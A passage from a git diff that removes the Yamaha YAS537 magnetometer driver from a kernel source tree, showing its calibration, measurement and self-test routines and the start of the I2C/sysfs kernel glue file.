YAS537_MAG_AVERAGE_64 (3) -#define YAS537_MAG_AVERAGE_128 (4) -#define YAS537_MAG_AVERAGE_256 (5) - -#define YAS537_MAG_RCOIL_TIME (65) - -#define set_vector(to, from) \ - {int _l; for (_l = 0; _l < 3; _l++) (to)[_l] = (from)[_l]; } - -struct yas_cal { - int8_t a2, a3, a4, a6, a7, a8; - int16_t a5, a9, cxy1y2[3]; - uint8_t k, ver; -}; - -struct yas_cdriver { - int initialized; - struct yas_driver_callback cbk; - int measure_state; - int invalid_data; - uint32_t invalid_data_time; - int position; - int delay; - int enable; - uint8_t dev_id; - const int8_t *transform; - int record_data; - int average; - int8_t hard_offset[3]; - uint32_t current_time; - uint16_t last_raw[4]; - uint16_t last_after_rcoil[3]; - struct yas_cal cal; - int16_t overflow[3], underflow[3]; - struct yas_matrix static_matrix; - int noise_rcoil_flag; -}; - -static const struct yas_matrix no_conversion - = { {10000, 0, 0, 0, 10000, 0, 0, 0, 10000} }; -static const int measure_time_worst[] = {800, 1100, 1500, 3000, 6000, 12000}; - -static const int8_t YAS537_TRANSFORMATION[][9] = { - {-1, 0, 0, 0, -1, 0, 0, 0, 1 }, - { 0, -1, 0, 1, 0, 0, 0, 0, 1 }, - { 1, 0, 0, 0, 1, 0, 0, 0, 1 }, - { 0, 1, 0, -1, 0, 0, 0, 0, 1 }, - { 1, 0, 0, 0, -1, 0, 0, 0, -1 }, - { 0, 1, 0, 1, 0, 0, 0, 0, -1 }, - {-1, 0, 0, 0, 1, 0, 0, 0, -1 }, - { 0, -1, 0, -1, 0, 0, 0, 0, -1 }, -}; -static struct yas_cdriver driver; - -static int yas_set_enable_wrap(int enable, int rcoil); -static int yas_set_enable(int enable); -static int single_read(int ldtc, int fors, int *busy, uint16_t *t, - uint16_t *xy1y2, int *ouflow); - -static int yas_open(void) -{ - if (driver.cbk.device_open(YAS_TYPE_MAG) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.cbk.usleep(YAS537_MAG_POWER_ON_RESET_TIME); - return YAS_NO_ERROR; -} -#define yas_read(a, b, c) \ - (driver.cbk.device_read(YAS_TYPE_MAG, (a), (b), (c))) -static int yas_single_write(uint8_t addr, uint8_t data) -{ - return driver.cbk.device_write(YAS_TYPE_MAG, addr, &data, 1); -} - -static void apply_matrix(struct yas_vector *xyz, struct yas_matrix *m) -{ - int32_t tmp[3]; - int i; - if (m == NULL) - return; - for (i = 0; i < 3; i++) - tmp[i] = ((m->m[i*3]/10) * (xyz->v[0]/10) - + (m->m[i*3+1]/10) * (xyz->v[1]/10) - + (m->m[i*3+2]/10) * (xyz->v[2]/10)) / 100; - for (i = 0; i < 3; i++) - xyz->v[i] = tmp[i]; -} - -static uint32_t curtime(void) -{ - if (driver.cbk.current_time) - return driver.cbk.current_time(); - else - return driver.current_time; -} - -static int invalid_magnetic_field(uint16_t *cur, uint16_t *last) -{ - int16_t invalid_thresh[] = {1500, 1500, 1500}; - int i; - for (i = 0; i < 3; i++) - if (invalid_thresh[i] < ABS(cur[i] - last[i])) - return 1; - return 0; -} - -static int start_yas537(int ldtc, int fors, int cont) -{ - uint8_t data = 0x01; - data = (uint8_t)(data | (ldtc<<1)); - data = (uint8_t)(data | (fors<<2)); - data = (uint8_t)(data | (cont<<5)); - if (yas_single_write(YAS537_REG_CMDR, data) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - return YAS_NO_ERROR; -} - -static int cont_start_yas537(void) -{ - if (start_yas537(0, 0, 1) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - /* wait for the first measurement */ - driver.cbk.usleep(measure_time_worst[driver.average]); - return YAS_NO_ERROR; -} - -static int read_yas537(int *busy, uint16_t *t, uint16_t *xy1y2, - int *ouflow) -{ - uint8_t data[8]; - int i; - if (yas_read(YAS537_REG_DATAR, data, 8) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - *busy = data[2]>>7; - *t = (uint16_t)((data[0]<<8) | data[1]); - xy1y2[0] = (uint16_t)(((data[2]&0x3f)<<8) | data[3]); - xy1y2[1] = (uint16_t)((data[4]<<8) | data[5]); - xy1y2[2] = (uint16_t)((data[6]<<8) | data[7]); - for (i = 0; i < 3; i++) - driver.last_raw[i] = xy1y2[i]; - driver.last_raw[i] = *t; - if (driver.cal.ver == 1) { - struct yas_cal *c = &driver.cal; - int32_t h[3], s[3]; - for (i = 0; i < 3; i++) - s[i] = xy1y2[i] - 8192; - h[0] = (c->k * (128*s[0] + c->a2*s[1] + c->a3*s[2])) / 8192; - h[1] = (c->k * (c->a4*s[0] + c->a5*s[1] + c->a6*s[2])) / 8192; - h[2] = (c->k * (c->a7*s[0] + c->a8*s[1] + c->a9*s[2])) / 8192; - for (i = 0; i < 3; i++) { - if (h[i] < -8192) - h[i] = -8192; - if (8191 < h[i]) - h[i] = 8191; - xy1y2[i] = h[i] + 8192; - } - } - *ouflow = 0; - for (i = 0; i < 3; i++) { - if (driver.overflow[i] <= xy1y2[i]) - *ouflow |= (1<<(i*2)); - if (xy1y2[i] <= driver.underflow[i]) - *ouflow |= (1<<(i*2+1)); - } - return YAS_NO_ERROR; -} - -static int update_intrvlr(int delay) -{ - uint8_t data; - /* delay 4.1 x SMPLTIM [7:0] msec */ - if ((4100 * 255 + measure_time_worst[driver.average]) / 1000 < delay) - delay = 4100 * 255 + measure_time_worst[driver.average]; - else - delay *= 1000; - delay = (delay - measure_time_worst[driver.average]) / 4100; - if (delay <= 1) - data = 2; - else - data = (uint8_t) delay; - if (yas_single_write(YAS537_REG_INTRVLR, data) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - return YAS_NO_ERROR; -} - -static int reset_yas537(int rcoil) -{ - struct yas_cal *c = &driver.cal; - static const uint8_t avrr[] = {0x50, 0x60, 0x70, 0x71, 0x72, 0x73}; - int cal_valid = 0, i, rt, busy, ouflow; - uint16_t xy1y2[3], t; - uint8_t data[17]; - if (yas_single_write(YAS537_REG_SRSTR, 0x02) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_read(YAS537_REG_CALR, data, 17) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - c->ver = data[16] >> 6; - for (i = 0; i < 17; i++) { - if (i < 16 && data[i] != 0) - cal_valid = 1; - if (i == 16 && (data[i] & 0x3f) != 0) - cal_valid = 1; - } - if (!cal_valid) - return YAS_ERROR_CALREG; - if (c->ver == 0) { - for (i = 0; i < 17; i++) { - if (i < 12) { - if (yas_single_write(YAS537_REG_MTCR+i, - data[i]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - } else if (i < 15) { - if (yas_single_write(YAS537_REG_OXR+i-12, - data[i]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.hard_offset[i-12] = data[i]; - } else { - if (yas_single_write(YAS537_REG_OXR+i-11, - data[i]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - } - } - for (i = 0; i < 3; i++) { - driver.overflow[i] = YAS537_DATA_OVERFLOW; - driver.underflow[i] = YAS537_DATA_UNDERFLOW; - } - } else if (c->ver == 1) { - for (i = 0; i < 3; i++) { - if (yas_single_write(YAS537_REG_MTCR+i, - data[i]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_OXR+i, - data[i+12]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.hard_offset[i] = data[i+12]; - } - if (yas_single_write(YAS537_REG_MTCR+i, - (data[i] & 0xe0) | 0x10) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_HCKR, (data[15]>>3)&0x1e) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_LCKR, (data[15]<<1)&0x1e) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_OCR, data[16]&0x3f) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - c->cxy1y2[0] = ((data[0]<<1) | (data[1]>>7)) - 256; - c->cxy1y2[1] = (((data[1]<<2)&0x1fc) | (data[2]>>6)) - 256; - c->cxy1y2[2] = (((data[2]<<3)&0x1f8) | (data[3]>>5)) - 256; - c->a2 = (((data[3]<<2)&0x7c) | (data[4]>>6)) - 64; - c->a3 = (((data[4]<<1)&0x7e) | (data[5]>>7)) - 64; - c->a4 = (((data[5]<<1)&0xfe) | (data[6]>>7)) - 128; - c->a5 = (((data[6]<<2)&0x1fc) | (data[7]>>6)) - 112; - c->a6 = (((data[7]<<1)&0x7e) | (data[8]>>7)) - 64; - c->a7 = (((data[8]<<1)&0xfe) | (data[9]>>7)) - 128; - c->a8 = (data[9]&0x7f) - 64; - c->a9 = (((data[10]<<1)&0x1fe) | (data[11]>>7)) - 112; - c->k = data[11]&0x7f; - for (i = 0; i < 3; i++) { - int16_t a[3]; - a[0] = 128; - a[1] = c->a5; - a[2] = c->a9; - driver.overflow[i] = 8192 + c->k * a[i] * (8192 - - ABS(c->cxy1y2[i]) * 325 / 16 - 192) - / 8192; - driver.underflow[i] = 8192 - c->k * a[i] * (8192 - - ABS(c->cxy1y2[i]) * 325 / 16 - 192) - / 8192; - if (YAS537_DATA_OVERFLOW < driver.overflow[i]) - driver.overflow[i] = YAS537_DATA_OVERFLOW; - if (driver.underflow[i] < YAS537_DATA_UNDERFLOW) - driver.underflow[i] = YAS537_DATA_UNDERFLOW; - } - } else - return YAS_ERROR_CALREG; - if (yas_single_write(YAS537_REG_ADCCALR, 0x03) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_ADCCALR+1, 0xf8) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_TRMR, 0xff) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (update_intrvlr(driver.delay) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS537_REG_AVRR, avrr[driver.average]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (rcoil) { - if (yas_single_write(YAS537_REG_CONFR, 0x08) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.cbk.usleep(YAS537_MAG_RCOIL_TIME); - rt = single_read(0, 0, &busy, &t, xy1y2, &ouflow); - if (rt < 0) - return rt; - if (busy) - return YAS_ERROR_BUSY; - set_vector(driver.last_after_rcoil, xy1y2); - } - return YAS_NO_ERROR; -} - -static int single_read(int ldtc, int fors, int *busy, uint16_t *t, - uint16_t *xy1y2, int *ouflow) -{ - if (start_yas537(ldtc, fors, 0) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.cbk.usleep(measure_time_worst[driver.average]); - if (read_yas537(busy, t, xy1y2, ouflow) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - return YAS_NO_ERROR; -} - -static void xy1y2_to_xyz(uint16_t *xy1y2, int32_t *xyz) -{ - xyz[0] = (xy1y2[0] - 8192) * 300; - xyz[1] = (xy1y2[1] - xy1y2[2]) * 1732 / 10; - xyz[2] = (-xy1y2[1] - xy1y2[2] + 16384) * 300; -} - -static int yas_cdrv_sensitivity_measuremnet(int32_t *sx, int32_t *sy) -{ - uint16_t p[3], m[3], xy1y2[3], t; - struct yas_cal *c = &driver.cal; - int busy, flowon = 0, flowoff = 0, rt, i; - rt = single_read(1, 0, &busy, &t, xy1y2, &flowon); - if (rt < 0) - return rt; - if (busy) - return YAS_ERROR_BUSY; - for (i = 0; i < 3; i++) - p[i] = driver.last_raw[i]; - rt = single_read(1, 1, &busy, &t, xy1y2, &flowoff); - if (rt < 0) - return rt; - if (busy) - return YAS_ERROR_BUSY; - for (i = 0; i < 3; i++) - m[i] = driver.last_raw[i]; - if (driver.cal.ver == 1) { - *sx = c->k * 128 * (p[0] - m[0]) / 8192 * 300 / YAS_MAG_VCORE; - *sy = c->k * (c->a5 * (p[1] - m[1]) - c->a9 * (p[2] - m[2])) - / 8192 * 1732 / YAS_MAG_VCORE / 10; - } else - return YAS_ERROR_CALREG; - return flowon | flowoff; -} - -static int yas_get_position(void) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - return driver.position; -} - -static int yas_set_position(int position) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (position < 0 || 7 < position) - return YAS_ERROR_ARG; - if (position == YAS537_MAG_NOTRANS_POSITION) - driver.transform = NULL; - else - driver.transform = YAS537_TRANSFORMATION[position]; - driver.position = position; - return YAS_NO_ERROR; -} - -static int yas_measure(struct yas_data *data, int num, int *ouflow) -{ - int32_t xyz_tmp[3]; - int i, busy, rt; - uint16_t t, xy1y2[3]; - uint32_t tm; - *ouflow = 0; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (data == NULL || num < 0) - return YAS_ERROR_ARG; - if (driver.cbk.current_time == NULL) - driver.current_time += (uint32_t)driver.delay; - if (num == 0) - return 0; - if (!driver.enable) - return 0; - if (driver.measure_state == YAS537_MAG_STATE_INIT_COIL) { - tm = curtime(); - if (YAS537_MAG_INITCOIL_TIMEOUT - <= tm - driver.invalid_data_time) { - driver.invalid_data_time = tm; - rt = reset_yas537(1); - if (rt < 0) - return rt; - if (cont_start_yas537() < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.measure_state = YAS537_MAG_STATE_NORMAL; - } - } - if (read_yas537(&busy, &t, xy1y2, ouflow) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - xy1y2_to_xyz(xy1y2, data->xyz.v); - if (driver.transform != NULL) { - for (i = 0; i < 3; i++) { - xyz_tmp[i] = driver.transform[i*3] * data->xyz.v[0] - + driver.transform[i*3+1] * data->xyz.v[1] - + driver.transform[i*3+2] * data->xyz.v[2]; - } - set_vector(data->xyz.v, xyz_tmp); - } - apply_matrix(&data->xyz, &driver.static_matrix); - for (i = 0; i < 3; i++) { - data->xyz.v[i] -= data->xyz.v[i] % 10; - if (*ouflow & (1<<(i*2))) - data->xyz.v[i] += 1; /* set overflow */ - if (*ouflow & (1<<(i*2+1))) - data->xyz.v[i] += 2; /* set underflow */ - } - tm = curtime(); - data->type = YAS_TYPE_MAG; - if (driver.cbk.current_time) - data->timestamp = tm; - else - data->timestamp = 0; - data->accuracy = 0; - if (busy) - return YAS_ERROR_BUSY; - if (0 < *ouflow || invalid_magnetic_field(xy1y2, - driver.last_after_rcoil)) { - if (!driver.invalid_data) - driver.invalid_data_time = tm; - driver.invalid_data = 1; - driver.measure_state = YAS537_MAG_STATE_INIT_COIL; - for (i = 0; i < 3; i++) { - if (!*ouflow) - data->xyz.v[i] += 3; - } - } else - driver.invalid_data = 0; - return 1; -} - -static int yas_measure_wrap(struct yas_data *data, int num) -{ - int ouflow; - return yas_measure(data, num, &ouflow); -} - -static int yas_get_delay(void) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - return driver.delay; -} - -static int yas_set_delay(int delay) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (delay < 0) - return YAS_ERROR_ARG; - driver.delay = delay; - if (!driver.enable) - return YAS_NO_ERROR; - yas_set_enable(0); - yas_set_enable_wrap(1, 0); - return YAS_NO_ERROR; -} - -static int yas_get_enable(void) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - return driver.enable; -} - -static int yas_set_enable_wrap(int enable, int rcoil) -{ - int rt = YAS_NO_ERROR; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - enable = !!enable; - if (driver.enable == enable) - return YAS_NO_ERROR; - if (enable) { - if (yas_open() < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - rt = reset_yas537(rcoil); - if (rt < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return rt; - } - if (cont_start_yas537() < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - if (rcoil) - driver.measure_state = YAS537_MAG_STATE_NORMAL; - } else { - yas_single_write(YAS537_REG_SRSTR, 0x02); - driver.cbk.device_close(YAS_TYPE_MAG); - } - driver.enable = enable; - return rt; -} - -static int yas_set_enable(int enable) -{ - return yas_set_enable_wrap(enable, 1); -} - -static int yas_ext(int32_t cmd, void *p) -{ - struct yas537_self_test_result *r; - struct yas_data data; - int32_t *xyz; - int16_t *ouflow, *m; - int8_t average, *hard_offset; - int rt, i, enable, overflow, busy, position; - uint16_t t, xy1y2[3]; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (p == NULL) - return YAS_ERROR_ARG; - switch (cmd) { - case YAS537_SELF_TEST: - r = (struct yas537_self_test_result *) p; - r->id = driver.dev_id; - enable = driver.enable; - if (!enable) { - if (yas_open() < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - } - rt = reset_yas537(1); - if (rt < 0) - goto self_test_exit; - rt = single_read(0, 0, &busy, &t, xy1y2, &overflow); - if (rt < 0) - goto self_test_exit; - if (busy) { - rt = YAS_ERROR_BUSY; - goto self_test_exit; - } - xy1y2_to_xyz(xy1y2, r->xyz); - for (i = 0; i < 3; i++) - r->xyz[i] = r->xyz[i] / 1000; - if (overflow & YAS_OVERFLOW) { - rt = YAS_ERROR_OVERFLOW; - goto self_test_exit; - } - if (overflow & YAS_UNDERFLOW) { - rt = YAS_ERROR_UNDERFLOW; - goto self_test_exit; - } - if (r->xyz[0] == 0 && r->xyz[1] == 0 && r->xyz[2] == 0) { - rt = YAS_ERROR_DIRCALC; - goto self_test_exit; - } - r->dir = 99; - rt = yas_cdrv_sensitivity_measuremnet(&r->sx, &r->sy); - if (rt < 0) - goto self_test_exit; - if (rt & YAS_OVERFLOW) { - rt = YAS_ERROR_OVERFLOW; - goto self_test_exit; - } - if (rt & YAS_UNDERFLOW) { - rt = YAS_ERROR_UNDERFLOW; - goto self_test_exit; - } - rt = YAS_NO_ERROR; - self_test_exit: - if (enable) - cont_start_yas537(); - else - driver.cbk.device_close(YAS_TYPE_MAG); - return rt; - case YAS537_SELF_TEST_NOISE: - xyz = (int32_t *) p; - enable = driver.enable; - if (!enable) { - if (driver.noise_rcoil_flag) - rt = yas_set_enable_wrap(1, 1); - else - rt = yas_set_enable_wrap(1, 0); - if (rt < 0) - return rt; - driver.noise_rcoil_flag = 0; - } - position = yas_get_position(); - yas_set_position(YAS537_MAG_NOTRANS_POSITION); - rt = yas_measure(&data, 1, &overflow); - yas_set_position(position); - if (rt < 0) { - if (!enable) - yas_set_enable(0); - return rt; - } - for (i = 0; i < 3; i++) - xyz[i] = data.xyz.v[i] / 300; - if (!enable) - yas_set_enable(0); - return YAS_NO_ERROR; - case YAS537_GET_LAST_RAWDATA: - for (i = 0; i < 4; i++) - ((uint16_t *) p)[i] = driver.last_raw[i]; - return YAS_NO_ERROR; - case YAS537_GET_AVERAGE_SAMPLE: - *(int8_t *) p = driver.average; - return YAS_NO_ERROR; - case YAS537_SET_AVERAGE_SAMPLE: - average = *(int8_t *) p; - if (average < YAS537_MAG_AVERAGE_8 - || YAS537_MAG_AVERAGE_256 < average) - return YAS_ERROR_ARG; - driver.average = average; - if (!driver.enable) - return YAS_NO_ERROR; - yas_set_enable(0); - yas_set_enable_wrap(1, 0); - return YAS_NO_ERROR; - case YAS537_GET_HW_OFFSET: - hard_offset = (int8_t *) p; - for (i = 0; i < 3; i++) - hard_offset[i] = driver.hard_offset[i]; - return YAS_NO_ERROR; - case YAS537_GET_STATIC_MATRIX: - m = (int16_t *) p; - for (i = 0; i < 9; i++) - m[i] = driver.static_matrix.m[i]; - return YAS_NO_ERROR; - case YAS537_SET_STATIC_MATRIX: - m = (int16_t *) p; - for (i = 0; i < 9; i++) - driver.static_matrix.m[i] = m[i]; - return YAS_NO_ERROR; - case YAS537_GET_OUFLOW_THRESH: - ouflow = (int16_t *) p; - for (i = 0; i < 3; i++) { - ouflow[i] = driver.overflow[i]; - ouflow[i+3] = driver.underflow[i]; - } - return YAS_NO_ERROR; - default: - break; - } - return YAS_ERROR_ARG; -} - -static int yas_init(void) -{ - int i; - uint8_t data; - if (driver.initialized) - return YAS_ERROR_INITIALIZE; - if (yas_open() < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_read(YAS537_REG_DIDR, &data, 1) < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - driver.dev_id = data; - if (driver.dev_id != YAS537_DEVICE_ID) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_CHIP_ID; - } - driver.cbk.device_close(YAS_TYPE_MAG); - - driver.measure_state = YAS537_MAG_STATE_NORMAL; - if (driver.cbk.current_time) - driver.current_time = driver.cbk.current_time(); - else - driver.current_time = 0; - driver.invalid_data = 0; - driver.invalid_data_time = driver.current_time; - driver.position = YAS537_MAG_NOTRANS_POSITION; - driver.delay = YAS_DEFAULT_SENSOR_DELAY; - driver.enable = 0; - driver.transform = NULL; - driver.record_data = 0; - driver.average = YAS537_MAG_AVERAGE_32; - driver.noise_rcoil_flag = 1; - for (i = 0; i < 3; i++) { - driver.hard_offset[i] = -128; - driver.last_after_rcoil[i] = 0; - driver.overflow[i] = -1; - driver.underflow[i] = -1; - } - for (i = 0; i < 4; i++) - driver.last_raw[i] = 0; - driver.static_matrix = no_conversion; - driver.initialized = 1; - return YAS_NO_ERROR; -} - -static int yas_term(void) -{ - int rt; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - rt = yas_set_enable(0); - driver.initialized = 0; - return rt; -} - -int yas_mag_driver_init(struct yas_mag_driver *f) -{ - if (f == NULL || f->callback.device_open == NULL - || f->callback.device_close == NULL - || f->callback.device_read == NULL - || f->callback.device_write == NULL - || f->callback.usleep == NULL - ) - return YAS_ERROR_ARG; - f->init = yas_init; - f->term = yas_term; - f->get_delay = yas_get_delay; - f->set_delay = yas_set_delay; - f->get_enable = yas_get_enable; - f->set_enable = yas_set_enable; - f->get_position = yas_get_position; - f->set_position = yas_set_position; - f->measure = yas_measure_wrap; - f->ext = yas_ext; - driver.cbk = f->callback; - yas_term(); - return YAS_NO_ERROR; -} -#endif diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c deleted file mode 100644 index 174db13821485..0000000000000 --- a/drivers/input/misc/yas_mag_kernel.c +++ /dev/null @@ -1,1028 +0,0 @@ -/* - * Copyright (c) 2014 Yamaha Corporation - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version 2 - * of the License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, - * MA 02110-1301, USA. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "yas.h" -/* #include */ - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 -#define YAS_MSM_NAME "compass" -#define YAS_MSM_VENDOR "Yamaha" -#define YAS_MSM_VERSION (1) -#define YAS_MSM_HANDLE (1) -#define YAS_MSM_TYPE (2) -#define YAS_MSM_MIN_DELAY (10000) -#define YAS_MSM_MAX_RANGE (800) -#define YAS_MSM_RESOLUTION "0.15" -#define YAS_MSM_SENSOR_POWER "0.40" -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 -#define YAS_MSM_NAME "compass" -#define YAS_MSM_VENDOR "Yamaha" -#define YAS_MSM_VERSION (1) -#define YAS_MSM_HANDLE (1) -#define YAS_MSM_TYPE (2) -#define YAS_MSM_MIN_DELAY (10000) -#define YAS_MSM_MAX_RANGE (1200) -#define YAS_MSM_RESOLUTION "0.15" -#define YAS_MSM_SENSOR_POWER "0.40" -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 -#define YAS_MSM_NAME "compass" -#define YAS_MSM_VENDOR "Yamaha" -#define YAS_MSM_VERSION (1) -#define YAS_MSM_HANDLE (1) -#define YAS_MSM_TYPE (2) -#define YAS_MSM_MIN_DELAY (10000) -#define YAS_MSM_MAX_RANGE (2000) -#define YAS_MSM_RESOLUTION "0.3" -#define YAS_MSM_SENSOR_POWER "0.28" -#endif - -#define YAS537_VDD_MIN_UV 2000000 -#define YAS537_VDD_MAX_UV 3300000 -#define YAS537_VIO_MIN_UV 1750000 -#define YAS537_VIO_MAX_UV 1950000 - -struct yas537_platform_data { - int (*init)(void); - void (*exit)(void); - int (*power_on)(bool); -}; - -static struct i2c_client *this_client; - -struct yas_state { - struct mutex lock; - struct yas_mag_driver mag; - struct input_dev *input_dev; - struct sensors_classdev cdev; - struct delayed_work work; - int32_t poll_delay; - atomic_t enable; - int32_t compass_data[3]; - struct device *dev; - struct class *class; - bool power_on; - struct regulator *vdd; - struct regulator *vio; - struct yas537_platform_data *platform_data; - struct i2c_client *client; -}; -static struct yas_state *pdev_data; -static struct sensors_classdev sensors_cdev = { - .name = "yas537-mag", - .vendor = "Yamaha", - .version = 1, - .handle = SENSORS_MAGNETIC_FIELD_HANDLE, - .type = SENSOR_TYPE_MAGNETIC_FIELD, - .max_range = "2000", - .resolution = "0.3", - .sensor_power = "0.28", - .min_delay = 10000, - .max_delay = 10000, - .fifo_reserved_event_count = 0, - .fifo_max_event_count = 0, - .enabled = 0, - .delay_msec = 10000, - .sensors_enable = NULL, - .sensors_poll_delay = NULL, -}; - -static int yas_device_open(int32_t type) -{ - return 0; -} - -static int yas_device_close(int32_t type) -{ - return 0; -} - -static int yas_device_write(int32_t type, uint8_t addr, const uint8_t *buf, - int len) -{ - uint8_t tmp[2]; - if (sizeof(tmp) - 1 < len) - return -EPERM; - tmp[0] = addr; - memcpy(&tmp[1], buf, len); - if (i2c_master_send(this_client, tmp, len + 1) < 0) - return -EPERM; - return 0; -} - -static int yas_device_read(int32_t type, uint8_t addr, uint8_t *buf, int len) -{ - struct i2c_msg msg[2]; - int err; - msg[0].addr = this_client->addr; - msg[0].flags = 0; - msg[0].len = 1; - msg[0].buf = &addr; - msg[1].addr = this_client->addr; - msg[1].flags = I2C_M_RD; - msg[1].len = len; - msg[1].buf = buf; - err = i2c_transfer(this_client->adapter, msg, 2); - if (err != 2) { - dev_err(&this_client->dev, - "i2c_transfer() read error: " - "slave_addr=%02x, reg_addr=%02x, err=%d\n", - this_client->addr, addr, err); - return err; - } - return 0; -} - -static void yas_usleep(int us) -{ - usleep_range(us, us + 1000); -} - -static uint32_t yas_current_time(void) -{ - return jiffies_to_msecs(jiffies); -} - -static int yas_enable(struct yas_state *st) -{ - struct yas537_platform_data *pdata; - pdata = st->platform_data; - if (pdata->power_on) - pdata->power_on(true); - - if (!atomic_cmpxchg(&st->enable, 0, 1)) { - mutex_lock(&st->lock); - st->mag.set_enable(1); - mutex_unlock(&st->lock); - schedule_delayed_work(&st->work, 0); - } - return 0; -} - -static int yas_disable(struct yas_state *st) -{ - struct yas537_platform_data *pdata; - pdata = st->platform_data; - - if (atomic_cmpxchg(&st->enable, 1, 0)) { - cancel_delayed_work_sync(&st->work); - mutex_lock(&st->lock); - st->mag.set_enable(0); - mutex_unlock(&st->lock); - } - - if (pdata->power_on) - pdata->power_on(false); - return 0; -} - -/* Sysfs interface */ -static ssize_t yas_position_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int ret; - mutex_lock(&st->lock); - ret = st->mag.get_position(); - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return sprintf(buf, "%d\n", ret); -} - -static ssize_t yas_position_store(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int ret, position; - sscanf(buf, "%d\n", &position); - mutex_lock(&st->lock); - ret = st->mag.set_position(position); - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return count; -} - -static ssize_t yas_hard_offset_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int8_t hard_offset[3]; - int ret; - mutex_lock(&st->lock); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 - ret = st->mag.ext(YAS530_GET_HW_OFFSET, hard_offset); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - ret = st->mag.ext(YAS532_GET_HW_OFFSET, hard_offset); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - ret = st->mag.ext(YAS537_GET_HW_OFFSET, hard_offset); -#endif - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return sprintf(buf, "%d %d %d\n", hard_offset[0], hard_offset[1], - hard_offset[2]); -} - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 -static ssize_t yas_hard_offset_store(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int32_t tmp[3]; - int8_t hard_offset[3]; - int ret, i; - sscanf(buf, "%d %d %d\n", &tmp[0], &tmp[1], &tmp[2]); - for (i = 0; i < 3; i++) - hard_offset[i] = (int8_t)tmp[i]; - mutex_lock(&st->lock); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 - ret = st->mag.ext(YAS530_SET_HW_OFFSET, 